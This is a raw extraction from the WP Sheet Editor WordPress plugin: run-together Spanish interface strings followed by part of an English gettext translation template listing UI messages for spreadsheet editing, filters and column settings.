                  Ejemplo hipotético, si quieres actualizar productos existentes con el mismo ID, necesitas importar la columna ID, de lo contrario no tenemos los ID para encontrarlos.Podrás escribir números sin formato, por ejemplo: 999999.88 o 100, y los guardaremos automáticamente con formato. Esta conversión se producirá cuando guardes y no en directo cuando edites en las celdas y verás los valores modificados en la siguiente recarga de la hoja de cálculo.Podrás escribir el título de la entrada en la celda y ésta mostrará un desplegable con sugerencias.Podrás escribir el nombre del término en la celda y ésta mostrará un desplegable con sugerencias.Podrás escribir el nombre de usuario en la celda y ésta mostrará un desplegable con sugerencias.El servidor no ha podido procesar este lote. ¿Quieres intentarlo de nuevo?Tu servidor no fue capaz de procesar este lote. ¿Quieres intentarlo de nuevo? Puedes volver a intentarlo 3 veces, y si los 3 intentos fallan, pararemos la importación completamente.vacíoEs destacado?oFecha finalSe eliminaron {deleted} duplicados.{total_created} de {total} variaciones han sido creadas.Se combinaron {updated} atributos.Se han guardado {updated} elementos de {total} elementos que necesitan guardarse.modules/wp-sheet-editor/lang/vg_sheet_editor.pot000064400000557221147600365160016077 0ustar00msgid "" msgstr "" "Project-Id-Version: \n" "Report-Msgid-Bugs-To: \n" "Last-Translator: FULL NAME \n" "Language-Team: LANGUAGE \n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "POT-Creation-Date: 2024-03-27T16:54:29+00:00\n" "PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n" "X-Generator: WP-CLI 2.4.0\n" #: acf/acf.php:86 msgid "ACF: Show checkboxes as multi select dropdowns?" msgstr "" #: acf/acf.php:87 msgid "By default, we show every checkbox as a separate column, but if you have checkboxes with many options you might want to use one column with a dropdown instead." msgstr "" #: acf/acf.php:369 msgid "You need to configure your Google Maps API key to save the Google Maps columns. This is required by Advanced Custom Fields, you can follow this tutorial" msgstr "" #: acf/acf.php:928 msgid "Enter a title" msgstr "" #: acf/acf.php:951 msgid "Enter titles separated by %s" msgstr "" #: acf/acf.php:1239 msgid "Row" msgstr "" #: advanced-filters/advanced-filters.php:49 #: advanced-filters/advanced-filters.php:71 #: columns-manager/inc/column-groups.php:281 #: columns-resizing/columns-resizing.php:59 #: columns-visibility/columns-visibility.php:213 #: formulas/formulas.php:591 #: spreadsheet-setup/spreadsheet-setup.php:283 #: universal-sheet/universal-sheet.php:144 #: woocommerce/inc/attributes.php:799 #: woocommerce/inc/attributes.php:1019 #: woocommerce/inc/downloadable.php:368 #: woocommerce/inc/downloadable.php:387 #: woocommerce/inc/variations.php:1729 #: woocommerce/inc/variations.php:1748 #: wp-sheet-editor/dev/inc/api/editor.php:172 #: wp-sheet-editor/dev/wp-sheet-editor.php:1176 #: wp-sheet-editor/dev/wp-sheet-editor.php:1190 #: wp-sheet-editor/dev/wp-sheet-editor.php:1201 msgid "You dont have enough permissions to view this page." msgstr "" #: advanced-filters/advanced-filters.php:133 msgid "Save this search" msgstr "" #: advanced-filters/advanced-filters.php:134 msgid "Enter a name..." msgstr "" #: advanced-filters/advanced-filters.php:477 #: woocommerce/inc/import-export.php:96 msgid "Parent" msgstr "" #: advanced-filters/advanced-filters.php:673 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:39 msgid "Enter %s" msgstr "" #: advanced-filters/advanced-filters.php:673 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:39 msgid "Enter the names of " msgstr "" #: advanced-filters/advanced-filters.php:674 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:40 msgid "Category name..." msgstr "" #: advanced-filters/advanced-filters.php:686 #: advanced-filters/advanced-filters.php:743 #: advanced-filters/advanced-filters.php:800 #: filters/filters.php:554 msgid "Select..." msgstr "" #: advanced-filters/advanced-filters.php:741 msgid "Field" msgstr "" #: advanced-filters/advanced-filters.php:750 msgid "Last edit" msgstr "" #: advanced-filters/advanced-filters.php:751 msgid "Old slug" msgstr "" #: advanced-filters/advanced-filters.php:752 #: filters/filters.php:522 #: wp-sheet-editor/dev/inc/api/bootstrap.php:674 msgid "Author" msgstr "" #: advanced-filters/advanced-filters.php:753 msgid "Date (GMT)" msgstr "" #: advanced-filters/advanced-filters.php:754 msgid "Modified Date (GMT)" msgstr "" #: advanced-filters/advanced-filters.php:755 #: wp-sheet-editor/dev/inc/api/bootstrap.php:737 msgid "Comments" msgstr "" #: advanced-filters/advanced-filters.php:756 msgid "Ping status" msgstr "" #: advanced-filters/advanced-filters.php:757 #: wp-sheet-editor/dev/inc/api/bootstrap.php:513 msgid "URL Slug" msgstr "" #: advanced-filters/advanced-filters.php:758 #: wp-sheet-editor/dev/inc/api/bootstrap.php:771 msgid "Page Parent" msgstr "" #: advanced-filters/advanced-filters.php:759 msgid "Mime type" msgstr "" #: advanced-filters/advanced-filters.php:760 msgid "Comment count" msgstr "" #: advanced-filters/advanced-filters.php:761 msgid "EDD Variable Prices" msgstr "" #: advanced-filters/advanced-filters.php:762 msgid "EDD Download Files" msgstr "" #: advanced-filters/advanced-filters.php:795 msgid "A field is missing? Click here" msgstr "" #: advanced-filters/advanced-filters.php:799 msgid "Operator" msgstr "" #: advanced-filters/advanced-filters.php:805 #: woocommerce/inc/attributes.php:779 #: woocommerce/inc/attributes.php:780 #: woocommerce/inc/variations.php:610 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:949 msgid "Value" msgstr "" #: advanced-filters/advanced-filters.php:810 #: advanced-filters/advanced-filters.php:836 #: wp-sheet-editor/dev/inc/api/bootstrap.php:288 msgid "Add new" msgstr "" #: advanced-filters/advanced-filters.php:813 msgid "X" msgstr "" #: advanced-filters/advanced-filters.php:823 msgid "Enable advanced filters" msgstr "" #: advanced-filters/advanced-filters.php:826 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:54 msgid "Advanced search" msgstr "" #: advanced-filters/advanced-filters.php:828 msgid "You can search by any field using operators. I.e. price > 100, image != (empty)" msgstr "" #: advanced-filters/advanced-filters.php:845 msgid "NOT Contains this keyword" msgstr "" #: advanced-filters/advanced-filters.php:845 msgid "Enter a keyword to exclude posts, separate multiple keywords with a semicolon (;)" msgstr "" #: advanced-filters/advanced-filters.php:849 msgid "Find these IDs:" msgstr "" #: advanced-filters/advanced-filters.php:849 msgid "Enter IDs separated by commas, spaces, new lines, or tabs. You can use ID ranges like 20-50 as a shortcut." msgstr "" #: advanced-filters/advanced-filters.php:854 msgid "Find these URLs:" msgstr "" #: advanced-filters/advanced-filters.php:854 msgid "Enter one URL per line" msgstr "" #: advanced-filters/advanced-filters.php:858 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:46 msgid "Date range from" msgstr "" #: advanced-filters/advanced-filters.php:858 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:46 msgid "Show items published between these dates" msgstr "" #: advanced-filters/advanced-filters.php:858 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:46 msgid "to" msgstr "" #: advanced-filters/advanced-filters.php:877 msgid "Any of these values (Enter multiple values separated by ;)" msgstr "" #: advanced-filters/advanced-filters.php:878 msgid "CONTAINS" msgstr "" #: advanced-filters/advanced-filters.php:879 msgid "NOT CONTAINS" msgstr "" #: advanced-filters/advanced-filters.php:880 msgid "STARTS WITH" msgstr "" #: advanced-filters/advanced-filters.php:881 msgid "ENDS WITH" msgstr "" #: advanced-filters/advanced-filters.php:882 msgid "CHARACTER LENGTH <" msgstr "" #: advanced-filters/advanced-filters.php:883 msgid "CHARACTER LENGTH >" msgstr "" #: advanced-filters/advanced-filters.php:884 msgid "REGEXP" msgstr "" #: advanced-filters/advanced-filters.php:885 msgid "In the last x hours" msgstr "" #: advanced-filters/advanced-filters.php:886 msgid "In the last x days" msgstr "" #: advanced-filters/advanced-filters.php:887 msgid "In the last x weeks" msgstr "" #: advanced-filters/advanced-filters.php:888 msgid "In the last x years" msgstr "" #: columns-manager/columns-manager.php:70 #: wp-sheet-editor/dev/inc/ajax.php:19 #: wp-sheet-editor/dev/inc/ajax.php:45 msgid "You dont have enough permissions to do this action." msgstr "" #: columns-manager/columns-manager.php:103 msgid "Please select the background color" msgstr "" #: columns-manager/columns-manager.php:105 #: formulas/inc/ui.php:633 msgid "Clear value" msgstr "" #: columns-manager/columns-manager.php:107 #: custom-columns/views/settings-page.php:149 #: wp-sheet-editor/dev/inc/api/bootstrap.php:277 #: wp-sheet-editor/dev/views/post-types-form.php:31 #: wp-sheet-editor/dev/views/settings-form.php:120 msgid "Save" msgstr "" #: columns-manager/columns-manager.php:108 #: formulas/inc/ui.php:132 #: universal-sheet/views/export-modal.php:14 #: universal-sheet/views/export-modal.php:84 #: universal-sheet/views/import-modal.php:15 #: wp-sheet-editor/dev/views/editor-page.php:269 msgid "Cancel" msgstr "" #: columns-manager/columns-manager.php:259 msgid " Some columns have the button to change the formatting" msgstr "" #: columns-manager/columns-manager.php:273 #: columns-visibility/views/form.php:9 msgid "Columns manager" msgstr "" #: columns-manager/columns-manager.php:561 #: wp-sheet-editor/dev/inc/api/bootstrap.php:842 msgid ". Add child categories using this format: Parent > child1 > child2" msgstr "" #: columns-manager/columns-manager.php:570 msgid "Enter multiple terms separated by commas" msgstr "" #: columns-manager/columns-manager.php:588 msgid "Enter multiple post titles separated by commas" msgstr "" #: columns-manager/columns-manager.php:1124 #: wp-sheet-editor/dev/inc/api/bootstrap.php:194 #: wp-sheet-editor/dev/inc/options-init.php:604 #: wp-sheet-editor/dev/inc/options-init.php:607 #: wp-sheet-editor/dev/views/quick-setup.php:101 msgid "Settings" msgstr "" #: columns-manager/columns-manager.php:1140 #: custom-columns/views/settings-page.php:91 msgid "Is read only?" msgstr "" #: columns-manager/columns-manager.php:1152 msgid "User capabilities that can read this column" msgstr "" #: columns-manager/columns-manager.php:1155 msgid "User capabilities that can edit this column" msgstr "" #: columns-manager/columns-manager.php:1166 msgid "Separated with commas" msgstr "" #: columns-manager/columns-manager.php:1167 msgid "Serialized array" msgstr "" #: columns-manager/columns-manager.php:1170 msgid "File ID" msgstr "" #: columns-manager/columns-manager.php:1171 #: formulas/inc/ui.php:1009 #: universal-sheet/views/import-modal.php:43 msgid "File URL" msgstr "" #: columns-manager/columns-manager.php:1174 msgid "Use default" msgstr "" #: columns-manager/columns-manager.php:1175 #: formulas/inc/ui.php:565 #: woocommerce/inc/attributes.php:281 msgid "Yes" msgstr "" #: columns-manager/columns-manager.php:1176 #: formulas/inc/ui.php:565 #: woocommerce/inc/attributes.php:281 msgid "No" msgstr "" #: columns-manager/columns-manager.php:1179 #: columns-manager/columns-manager.php:1184 #: wp-sheet-editor/dev/inc/api/bootstrap.php:475 #: wp-sheet-editor/dev/inc/api/custom-tables-bootstrap.php:22 msgid "ID" msgstr "" #: columns-manager/columns-manager.php:1180 msgid "Username" msgstr "" #: columns-manager/columns-manager.php:1181 #: columns-manager/columns-manager.php:1224 msgid "Email" msgstr "" #: columns-manager/columns-manager.php:1185 #: wp-sheet-editor/dev/inc/api/bootstrap.php:496 #: wp-sheet-editor/dev/inc/teasers/post-types.php:93 #: wp-sheet-editor/dev/inc/teasers/post-types.php:108 msgid "Title" msgstr "" #: columns-manager/columns-manager.php:1186 #: columns-manager/columns-manager.php:1195 msgid "Slug" msgstr "" #: columns-manager/columns-manager.php:1189 msgid "Saved them separated by comma" msgstr "" #: columns-manager/columns-manager.php:1190 msgid "Save them as serialized array" msgstr "" #: columns-manager/columns-manager.php:1193 msgid "Term ID" msgstr "" #: columns-manager/columns-manager.php:1194 #: woocommerce/inc/attributes.php:779 #: woocommerce/inc/attributes.php:780 #: woocommerce/inc/downloadable.php:258 #: woocommerce/inc/downloadable.php:259 #: woocommerce/inc/variations.php:609 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:870 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:871 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:948 msgid "Name" msgstr "" #: columns-manager/columns-manager.php:1199 msgid "Same as the spreadsheet taxonomy" msgstr "" #: columns-manager/columns-manager.php:1205 msgid "Same as the spreadsheet post type" msgstr "" #: columns-manager/columns-manager.php:1210 msgid "Automatic" msgstr "" #: columns-manager/columns-manager.php:1211 msgid "Text" msgstr "" #: columns-manager/columns-manager.php:1212 msgid "Text editor (tinymce)" msgstr "" #: columns-manager/columns-manager.php:1213 msgid "Single selection dropdown" msgstr "" #: columns-manager/columns-manager.php:1214 msgid "Multi select dropdown" msgstr "" #: columns-manager/columns-manager.php:1215 msgid "Checkbox" msgstr "" #: columns-manager/columns-manager.php:1216 msgid "File upload" msgstr "" #: columns-manager/columns-manager.php:1217 #: wp-sheet-editor/dev/inc/api/bootstrap.php:626 #: wp-sheet-editor/dev/inc/teasers/post-types.php:97 msgid "Date" msgstr "" #: columns-manager/columns-manager.php:1218 msgid "Date and time" msgstr "" #: columns-manager/columns-manager.php:1219 msgid "User dropdown" msgstr "" #: columns-manager/columns-manager.php:1220 msgid "Post dropdown" msgstr "" #: columns-manager/columns-manager.php:1221 msgid "Taxonomy term dropdown" msgstr "" #: columns-manager/columns-manager.php:1222 msgid "Currency" msgstr "" #: columns-manager/columns-manager.php:1223 msgid "URL" msgstr "" #: columns-manager/columns-manager.php:1225 #: formulas/inc/ui.php:347 #: formulas/inc/ui.php:375 msgid "Number" msgstr "" #: columns-manager/columns-manager.php:1226 msgid "Clickable button" msgstr "" #: columns-manager/columns-manager.php:1227 msgid "Raw HTML" msgstr "" #: columns-manager/columns-manager.php:1228 msgid "Color picker" msgstr "" #: columns-manager/columns-manager.php:1234 #: wp-sheet-editor/dev/inc/api/helpers.php:944 msgid "Default" msgstr "" #: columns-manager/columns-manager.php:1246 msgid "Column format" msgstr "" #: columns-manager/columns-manager.php:1251 msgid "This format will only allow administrators with the capability unfiltered_html to save any HTML in this column, we'll still remove unsafe html tags when non-administrators save values in this column." msgstr "" #: columns-manager/columns-manager.php:1254 msgid "This will allow users to edit colors using a color picker. The values will be saved in hex format. For example: #000000" msgstr "" #: columns-manager/columns-manager.php:1257 msgid "This can be used if the cell value will always be a URL, so the cell will be displayed as readonly and it will contain a button that will open the URL from the cell value." msgstr "" #: columns-manager/columns-manager.php:1260 #: columns-manager/columns-manager.php:1265 msgid "Allowed values" msgstr "" #: columns-manager/columns-manager.php:1261 #: columns-manager/columns-manager.php:1266 msgid "Enter each choice on a new line. For more control, you may specify both a value and label like this: red : Red" msgstr "" #: columns-manager/columns-manager.php:1268 msgid "How are the multiple values saved in the database?" msgstr "" #: columns-manager/columns-manager.php:1273 msgid "What value is saved when the checkbox is checked?" msgstr "" #: columns-manager/columns-manager.php:1275 msgid "What value is saved when the checkbox is unchecked?" msgstr "" #: columns-manager/columns-manager.php:1279 msgid "You will be able to type the username in the cell and the cell will show a dropdown with suggestions." msgstr "" #: columns-manager/columns-manager.php:1280 msgid "How is the user saved in the database?" msgstr "" #: columns-manager/columns-manager.php:1285 msgid "You will be able to type the term name in the cell and the cell will show a dropdown with suggestions." msgstr "" #: columns-manager/columns-manager.php:1286 msgid "How is the taxonomy term saved in the database?" msgstr "" #: columns-manager/columns-manager.php:1291 msgid "Allow multiple terms per field?" msgstr "" #: columns-manager/columns-manager.php:1293 msgid "How do you want to save the multiple terms?" msgstr "" #: columns-manager/columns-manager.php:1296 msgid "Accept terms from this taxonomy" msgstr "" #: columns-manager/columns-manager.php:1297 msgid "For example, if you select the blog categories, we will only accept blog categories in this column." msgstr "" #: columns-manager/columns-manager.php:1301 msgid "You will be able to type numbers without formatting, for example: 999999.88 or 100, and we will automatically save them in the formatted way. This conversion will happen when you save and not live when you edit in the cells and you will see the modified values on the next spreadsheet reload." msgstr "" #: columns-manager/columns-manager.php:1302 msgid "Number of decimals" msgstr "" #: columns-manager/columns-manager.php:1305 msgid "Decimals separator" msgstr "" #: columns-manager/columns-manager.php:1308 msgid "Thousands separator" msgstr "" #: columns-manager/columns-manager.php:1312 msgid "You will be able to type the post title in the cell and the cell will show a dropdown with suggestions." msgstr "" #: columns-manager/columns-manager.php:1313 msgid "How is the post saved in the database?" msgstr "" #: columns-manager/columns-manager.php:1317 msgid "Allow multiple posts per field?" msgstr "" #: columns-manager/columns-manager.php:1319 msgid "How do you want to save the multiple posts?" msgstr "" #: columns-manager/columns-manager.php:1322 msgid "Accept post from this post type" msgstr "" #: columns-manager/columns-manager.php:1323 msgid "For example, if you select the post type \"product\", we will only accept product titles." msgstr "" #: columns-manager/columns-manager.php:1327 msgid "How is the file saved in the database?" msgstr "" #: columns-manager/columns-manager.php:1328 msgid "The cell will display the values as URLs and you can edit in the cells using full URLs, file ID, or file name.
                  External URLs are automatically imported into the media library.
                  We will save the value in the format selected here" msgstr "" #: columns-manager/columns-manager.php:1332 msgid "Allow multiple files per field?" msgstr "" #: columns-manager/columns-manager.php:1333 msgid "How do you want to save the multiple files?" msgstr "" #: columns-manager/columns-manager.php:1338 msgid "What date format do you want to display in the spreadsheet?" msgstr "" #: columns-manager/columns-manager.php:1339 msgid "Enter a date format. List of formats. If you leave it empty, we'll use the default: Y-m-d" msgstr "" #: columns-manager/columns-manager.php:1342 #: columns-manager/columns-manager.php:1351 msgid "What date format do you want to save in the database?" msgstr "" #: columns-manager/columns-manager.php:1343 msgid "Enter a date format. List of formats. Example: Y-m-d" msgstr "" #: columns-manager/columns-manager.php:1347 msgid "What date time format do you want to display in the spreadsheet?" msgstr "" #: columns-manager/columns-manager.php:1348 msgid "Enter a date format. List of formats. If you leave it empty, we'll use the default: Y-m-d H:i:s" msgstr "" #: columns-manager/columns-manager.php:1352 msgid "Enter a date format. List of formats. Example: Y-m-d H:i:s" msgstr "" #: columns-manager/inc/column-groups.php:49 msgid "Spreadsheet views" msgstr "" #: columns-manager/inc/column-groups.php:82 #: wp-sheet-editor/dev/inc/options-init.php:602 #: wp-sheet-editor/dev/wp-sheet-editor.php:1161 msgid "WP Sheet Editor" msgstr "" #: columns-manager/inc/column-groups.php:83 msgid "Note. This is not a security feature, the user can edit all the fields in the normal editor based on the role. This option is for convenience, so they only see the columns they need when they open the spreadsheet editor. If you leave these fields empty they can switch between all the existing views" msgstr "" #: columns-manager/inc/column-groups.php:100 msgid "%s: Allowed spreadsheet views" msgstr "" #: columns-manager/inc/column-groups.php:103 msgid "Please enter the name of the spreadsheet views separated by commas." msgstr "" #: columns-manager/inc/column-groups.php:332 msgid "Add a name for this group of columns" msgstr "" #: columns-manager/inc/column-groups.php:332 msgid "We will save this group of columns as a spreadsheet view and you can switch between spreadsheets in the toolbar" msgstr "" #: columns-renaming/columns-renaming.php:45 #: wp-sheet-editor/dev/inc/api/editor.php:339 msgid "Rename column" msgstr "" #: columns-renaming/columns-renaming.php:59 #: columns-visibility/columns-visibility.php:156 #: columns-visibility/columns-visibility.php:169 #: columns-visibility/columns-visibility.php:209 #: universal-sheet/universal-sheet.php:139 #: woocommerce/inc/attributes.php:795 #: woocommerce/inc/attributes.php:1015 #: woocommerce/inc/variations.php:1354 #: woocommerce/inc/variations.php:1381 #: wp-sheet-editor/dev/inc/ajax.php:83 #: wp-sheet-editor/dev/inc/ajax.php:170 #: wp-sheet-editor/dev/inc/ajax.php:203 #: wp-sheet-editor/dev/inc/ajax.php:223 #: wp-sheet-editor/dev/inc/ajax.php:268 #: wp-sheet-editor/dev/inc/ajax.php:315 #: wp-sheet-editor/dev/inc/ajax.php:336 #: wp-sheet-editor/dev/inc/ajax.php:414 msgid "Missing parameters." msgstr "" #: columns-renaming/columns-renaming.php:63 #: columns-visibility/columns-visibility.php:160 #: columns-visibility/columns-visibility.php:173 #: columns-visibility/columns-visibility.php:269 msgid "You dont have enough permissions to execute this action." msgstr "" #: columns-visibility/columns-visibility.php:164 msgid "Columns restored successfully, please reload the page to see the restored columns and enable them" msgstr "" #: columns-visibility/columns-visibility.php:356 msgid "Hide / Display / Sort columns" msgstr "" #: columns-visibility/views/form.php:12 msgid "Drag the columns to the left or right side to enable/disable them, drag them to the top or bottom to sort them, click on the \"edit\" button to rename them, click on the \"x\" button to delete them completely (only when they are disabled previously)." msgstr "" #: columns-visibility/views/form.php:15 #: columns-visibility/views/form.php:77 msgid "Enable all" msgstr "" #: columns-visibility/views/form.php:16 #: columns-visibility/views/form.php:27 msgid "Disable all" msgstr "" #: columns-visibility/views/form.php:22 msgid "Enabled" msgstr "" #: columns-visibility/views/form.php:22 #: columns-visibility/views/form.php:71 msgid "Bulk" msgstr "" #: columns-visibility/views/form.php:24 #: columns-visibility/views/form.php:74 msgid "Enter a search term..." msgstr "" #: columns-visibility/views/form.php:26 #: columns-visibility/views/form.php:76 #: universal-sheet/views/import-modal.php:85 msgid "Bulk actions" msgstr "" #: columns-visibility/views/form.php:28 #: columns-visibility/views/form.php:79 msgid "Sort alphabetically ASC" msgstr "" #: columns-visibility/views/form.php:29 #: columns-visibility/views/form.php:80 msgid "Sort alphabetically DESC" msgstr "" #: columns-visibility/views/form.php:59 #: columns-visibility/views/form.php:109 #: wp-sheet-editor/dev/inc/api/editor.php:307 msgid "Remove column completely. If you want to use it later you can disable it by dragging and dropping to the right column" msgstr "" #: columns-visibility/views/form.php:61 #: columns-visibility/views/form.php:111 #: wp-sheet-editor/dev/inc/api/editor.php:301 msgid "Disable column. You can enable it later." msgstr "" #: columns-visibility/views/form.php:62 #: columns-visibility/views/form.php:112 #: wp-sheet-editor/dev/inc/api/editor.php:302 msgid "Enable column" msgstr "" #: columns-visibility/views/form.php:71 msgid "Disabled" msgstr "" #: columns-visibility/views/form.php:78 msgid "Delete all" msgstr "" #: columns-visibility/views/form.php:125 msgid "A column is missing?" msgstr "" #: columns-visibility/views/form.php:127 msgid "- First, edit one item in the normal editor and fill all the fields manually." msgstr "" #: columns-visibility/views/form.php:136 msgid "- We can scan the database, find new fields, and create columns automatically" msgstr "" #: columns-visibility/views/form.php:143 msgid "You can do this multiple times" msgstr "" #: columns-visibility/views/form.php:143 msgid "Scan Now" msgstr "" #: columns-visibility/views/form.php:148 msgid "- If the previous solution failed, you can create new columns manually." msgstr "" #: columns-visibility/views/form.php:148 msgid "Create column" msgstr "" #: columns-visibility/views/form.php:150 msgid "- Maybe you deleted the columns from the list." msgstr "" #: columns-visibility/views/form.php:150 msgid "Restore deleted columns" msgstr "" #: columns-visibility/views/form.php:151 msgid "- We can help you." msgstr "" #: columns-visibility/views/form.php:151 #: wp-sheet-editor/dev/inc/integrations/notifier.php:292 #: wp-sheet-editor/dev/wp-sheet-editor.php:1070 msgid "Contact us" msgstr "" #: columns-visibility/views/form.php:157 msgid "Save these settings for future sessions?" msgstr "" #: columns-visibility/views/form.php:165 msgid "Apply settings" msgstr "" #: columns-visibility/views/form.php:166 #: filters/filters.php:587 #: formulas/inc/ui.php:153 #: posts-templates/posts-templates.php:107 #: universal-sheet/views/import-modal.php:228 #: woocommerce/views/spreadsheet-create-variations-modal.php:112 #: wp-sheet-editor/dev/inc/api/logger.php:191 #: wp-sheet-editor/dev/inc/integrations/notifier.php:297 #: wp-sheet-editor/dev/inc/teasers/formulas.php:76 #: wp-sheet-editor/dev/inc/teasers/frontend.php:78 #: wp-sheet-editor/dev/inc/teasers/post-types.php:133 #: wp-sheet-editor/dev/views/editor-page.php:293 #: wp-sheet-editor/dev/views/editor-page.php:347 #: wp-sheet-editor/dev/views/editor-page.php:371 #: wp-sheet-editor/dev/views/extensions-modal.php:10 #: wp-sheet-editor/dev/views/settings-form.php:121 #: wp-sheet-editor/dev/views/support-modal.php:24 msgid "Close" msgstr "" #: custom-columns/custom-columns.php:432 msgid "Add columns for custom fields" msgstr "" #: custom-columns/custom-columns.php:581 msgid "Missing columns" msgstr "" #: custom-columns/custom-columns.php:623 msgid "Missing post type or column_key" msgstr "" #: custom-columns/custom-columns.php:626 #: custom-columns/custom-columns.php:653 #: custom-columns/custom-columns.php:676 msgid "You are not allowed to do this action. Please reload the page or log in again." msgstr "" #: custom-columns/custom-columns.php:642 msgid "The meta field was deleted successfully" msgstr "" #: custom-columns/custom-columns.php:650 msgid "Missing post type, old_column_key, or new_column_key; or the old and new key are the same." msgstr "" #: custom-columns/custom-columns.php:666 msgid "The meta key was renamed successfully" msgstr "" #: custom-columns/custom-columns.php:670 msgid "The meta key couldnt be renamed." msgstr "" #: custom-columns/custom-columns.php:707 msgid "Columns could not be saved. Try again." msgstr "" #: custom-columns/custom-columns.php:710 msgid "Changes saved" msgstr "" #: custom-columns/custom-columns.php:724 msgid "Are you sure you want to delete this column?" msgstr "" #: custom-columns/custom-columns.php:732 msgid "Custom columns" msgstr "" #: custom-columns/views/settings-page.php:11 #: spreadsheet-setup/views/page.php:11 #: wp-sheet-editor/dev/inc/api/bootstrap.php:158 #: wp-sheet-editor/dev/views/editor-page.php:74 #: wp-sheet-editor/dev/views/extensions-page.php:16 #: wp-sheet-editor/dev/views/quick-setup.php:28 #: wp-sheet-editor/dev/views/settings-page.php:5 #: wp-sheet-editor/dev/views/whats-new.php:12 #: wp-sheet-editor/dev/wp-sheet-editor.php:1167 msgid "Sheet Editor" msgstr "" #: custom-columns/views/settings-page.php:14 msgid "Add New Columns to the Spreadsheet" msgstr "" #: custom-columns/views/settings-page.php:16 msgid "Enter the column name (anything you want), and select the field key from the dropdown. If you dont find it you can type it in the dropdown. View Tutorial" msgstr "" #: custom-columns/views/settings-page.php:17 msgid "Enable the advanced mode at the bottom of the page to customize the column width, format (editor, file upload, taxonomies), etc." msgstr "" #: custom-columns/views/settings-page.php:18 #: wp-sheet-editor/dev/views/quick-setup.php:110 msgid "Need help? Contact us" msgstr "" #: custom-columns/views/settings-page.php:38 msgid "Column name" msgstr "" #: custom-columns/views/settings-page.php:38 msgid "The column name displayed in the spreadsheet" msgstr "" #: custom-columns/views/settings-page.php:42 msgid "Column key" msgstr "" #: custom-columns/views/settings-page.php:42 msgid "The key that will be used for saving the information in the database. This must be unique, only letters and underscores." msgstr "" #: custom-columns/views/settings-page.php:62 msgid "Data source" msgstr "" #: custom-columns/views/settings-page.php:62 msgid "Select the kind of information used in the cells of this column." msgstr "" #: custom-columns/views/settings-page.php:64 msgid "Post data" msgstr "" #: custom-columns/views/settings-page.php:65 msgid "Post meta (i.e. metaboxes)" msgstr "" #: custom-columns/views/settings-page.php:66 msgid "Post terms (i.e. categories)" msgstr "" #: custom-columns/views/settings-page.php:70 msgid "Post type(s)" msgstr "" #: custom-columns/views/settings-page.php:70 msgid "What kind of posts require this column in the spreadsheet?" msgstr "" #: custom-columns/views/settings-page.php:95 msgid "Allow to edit using formulas?" msgstr "" #: custom-columns/views/settings-page.php:95 msgid "If you disable this option, this column will be edited manually only." msgstr "" #: custom-columns/views/settings-page.php:99 msgid "Allow to hide column?" msgstr "" #: custom-columns/views/settings-page.php:99 msgid "Allow to hide this column on the settings page?" msgstr "" #: custom-columns/views/settings-page.php:103 msgid "Allow to rename column?" msgstr "" #: custom-columns/views/settings-page.php:103 msgid "Allow to rename column on the settings page?" msgstr "" #: custom-columns/views/settings-page.php:107 msgid "Cell type" msgstr "" #: custom-columns/views/settings-page.php:107 msgid "Select the format of the cells, if the cells should be normal text, a file uploader, or text editor." msgstr "" #: custom-columns/views/settings-page.php:110 msgid "Normal cell" msgstr "" #: custom-columns/views/settings-page.php:111 msgid "TinyMCE Editor" msgstr "" #: custom-columns/views/settings-page.php:112 msgid "File upload (single)" msgstr "" #: custom-columns/views/settings-page.php:113 msgid "File upload (multiple)" msgstr "" #: custom-columns/views/settings-page.php:117 msgid "Plain text mode: Render as: (Use only if cell type is empty)" msgstr "" #: custom-columns/views/settings-page.php:119 #: custom-columns/views/settings-page.php:128 msgid "Simple text" msgstr "" #: custom-columns/views/settings-page.php:120 #: custom-columns/views/settings-page.php:129 msgid "Calendar" msgstr "" #: custom-columns/views/settings-page.php:121 msgid "Taxonomy dropdown. Only if data source = post terms." msgstr "" #: custom-columns/views/settings-page.php:122 #: custom-columns/views/settings-page.php:131 msgid "Unfiltered HTML" msgstr "" #: custom-columns/views/settings-page.php:126 msgid "Formatted cell mode: Render as: (Use only if cell type is empty)" msgstr "" #: custom-columns/views/settings-page.php:130 msgid "Taxonomy dropdown" msgstr "" #: custom-columns/views/settings-page.php:135 msgid "Column width (pixels)" msgstr "" #: custom-columns/views/settings-page.php:141 #: formulas/inc/ui.php:195 msgid "Delete" msgstr "" #: custom-columns/views/settings-page.php:148 #: spreadsheet-setup/views/page.php:45 #: wp-sheet-editor/dev/inc/api/editor.php:352 msgid "Add new column" msgstr "" #: custom-columns/views/settings-page.php:152 msgid "Advanced mode" msgstr "" #: factory.php:238 #: wp-sheet-editor/dev/wp-sheet-editor.php:1370 msgid "My license" msgstr "" #: filters/filters.php:197 msgid "To search among all posts use the Search tool. Use this to locate and highlight one value in the loaded rows in the spreadsheet. I.e. highlight a SKU or email or title." msgstr "" #: filters/filters.php:198 msgid "Locate cell" msgstr "" #: filters/filters.php:199 msgid "Locate cell." msgstr "" #: filters/filters.php:207 msgid "Enter a word and we will find the first matching column. You will avoid scrolling through dozens of columns to find the one you need." msgstr "" #: filters/filters.php:208 #: filters/filters.php:209 msgid "Locate column" msgstr "" #: filters/filters.php:224 #: filters/filters.php:236 #: filters/filters.php:535 msgid "Search" msgstr "" #: filters/filters.php:236 msgid "Quick search" msgstr "" #: filters/filters.php:236 msgid "Enter a keyword" msgstr "" #: filters/filters.php:505 msgid "Contains keyword" msgstr "" #: filters/filters.php:506 msgid "It searches in the post title and post content. Search by multiple keywords separating keywords with a semicolon (;)" msgstr "" #: filters/filters.php:515 #: wp-sheet-editor/dev/inc/api/bootstrap.php:717 #: wp-sheet-editor/dev/inc/teasers/post-types.php:99 msgid "Status" msgstr "" #: filters/filters.php:573 msgid "Enter a username or email..." msgstr "" #: filters/filters.php:586 msgid "Run search" msgstr "" #: formulas/formulas.php:84 msgid "Invalid #898AJSI. 